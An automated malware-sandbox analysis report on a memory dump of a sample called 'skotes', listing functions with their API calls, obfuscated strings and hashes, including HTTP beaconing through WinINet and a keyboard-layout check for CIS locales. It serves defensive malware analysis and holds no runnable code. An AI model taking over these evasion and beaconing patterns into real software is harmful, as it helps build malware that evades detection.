Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: a838db37c0ea548d4330ddde5a36c0b4c84c8c2c47648a2a648431ce2b09f15d
Instruction ID: ec18fb7d15339abd5e65f95b9b7dec31d2d086b0d4bd54bf4bb6911aee1cb140
Opcode Fuzzy Hash: a838db37c0ea548d4330ddde5a36c0b4c84c8c2c47648a2a648431ce2b09f15d
Instruction Fuzzy Hash: E991B0B19001189BDB29EF68CC85BEDB7B9EB45304F4045EDE51997282DB319FC88FA4

Function 0018EB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0018EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0018EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0018ED98

Strings

invalid stoi argument, xrefs: 001908B0
#, xrefs: 00190624
FCQgKF==, xrefs: 0018FEE4
WTs=, xrefs: 001905CA
111, xrefs: 0018F7A0
246122658369, xrefs: 0018F737, 0018FA14, 0018FE00, 001905E7
GiQaT29tduF=, xrefs: 0018FEB6
mxo1L0x, xrefs: 0018EE84
9c9aa5, xrefs: 0018FB8E
WDw=, xrefs: 0018F71D, 0018F9FA, 0018FDE3
UA==, xrefs: 0018EC41, 0018ED56, 0018EF89, 0018F2CE
stoi argument out of range, xrefs: 001908C4
FisgLnsCZO1i, xrefs: 0018FF19

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: 126b92ec10750cfc1250f036404ab95e2bc2a63d9f1d81bb2e5dc1918e3894a4
Instruction ID: 9a6b09d30dbf98200a810731241380e057f7c6475c8fe82d29d48e97e6d4fbd1
Opcode Fuzzy Hash: 126b92ec10750cfc1250f036404ab95e2bc2a63d9f1d81bb2e5dc1918e3894a4
Instruction Fuzzy Hash: E9F26B71A001489BEF19EB38CD9979DBB72AF86304F54829CE408A73D6DB359BC48F51

Function 0018BE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,116DAFBE,?,00000000), ref: 0018BEB8
InternetOpenW.WININET(001D8DC8,00000000,00000000,00000000,00000000), ref: 0018BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0018BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0018BF35
HttpSendRequestA.WININET(?,00000000), ref: 0018BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0018C0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 0018C161
InternetCloseHandle.WININET(?), ref: 0018C187
InternetCloseHandle.WININET(?), ref: 0018C18F
InternetCloseHandle.WININET(?), ref: 0018C197

Strings

invalid stoi argument, xrefs: 0018E4F4
8HJUeMD Lq5=, xrefs: 0018C465
stoi argument out of range, xrefs: 0018E4EA
RE1NXF==, xrefs: 0018BF0E
8HJUeIfzLo==, xrefs: 0018C3CB, 0018C623

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 071e9dc7e9e29630aae3c503bbfb6403952596d9aca516b27c901dbf3ef6a22d
Instruction ID: 56362eb8d35914510434fd5724bed6fdd87b7bc921c95e08d46261ba311fc3fa
Opcode Fuzzy Hash: 071e9dc7e9e29630aae3c503bbfb6403952596d9aca516b27c901dbf3ef6a22d
Instruction Fuzzy Hash: 94B1E6B16101189BDB28DF28CC89BAEBB79EF45304F508199F509972D1D7709BC4CFA5

Function 00186020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0018617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00186271

Strings

00000423, xrefs: 001860FA
0000043f, xrefs: 0018612B
00000422, xrefs: 001860C9
Keyboard Layout\Preload, xrefs: 00186054
00000419, xrefs: 00186098

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 53b8a420c795c87e3657d6aa7b32d225fa60b79f94b6a6a929f093881eba3fd9
Instruction ID: f39a755c64efd489ef89fbb8dd2860b2367d88859a108819320d2712c783ad0f
Opcode Fuzzy Hash: 53b8a420c795c87e3657d6aa7b32d225fa60b79f94b6a6a929f093881eba3fd9
Instruction Fuzzy Hash: F7B1BE719002689BDF24EB54CC84BEEB7B9AF15340F5402D9E108E72D1DB74AFA88F94

Function 00187D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00187ED3

Strings

JjsrPl==, xrefs: 0018828A
JjssOl==, xrefs: 0018813A
JjssPV==, xrefs: 001881E2
JjsrQV==, xrefs: 00188092

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 348ee2f0b21350fcce89177124954e1a6e6cf7e7c1c93ea3cd70efcfb98c9a79
Instruction ID: 66fb1b051af44d5f8633c64ae55241d58b9bbec05f9ed3255bc047f3ce75af99
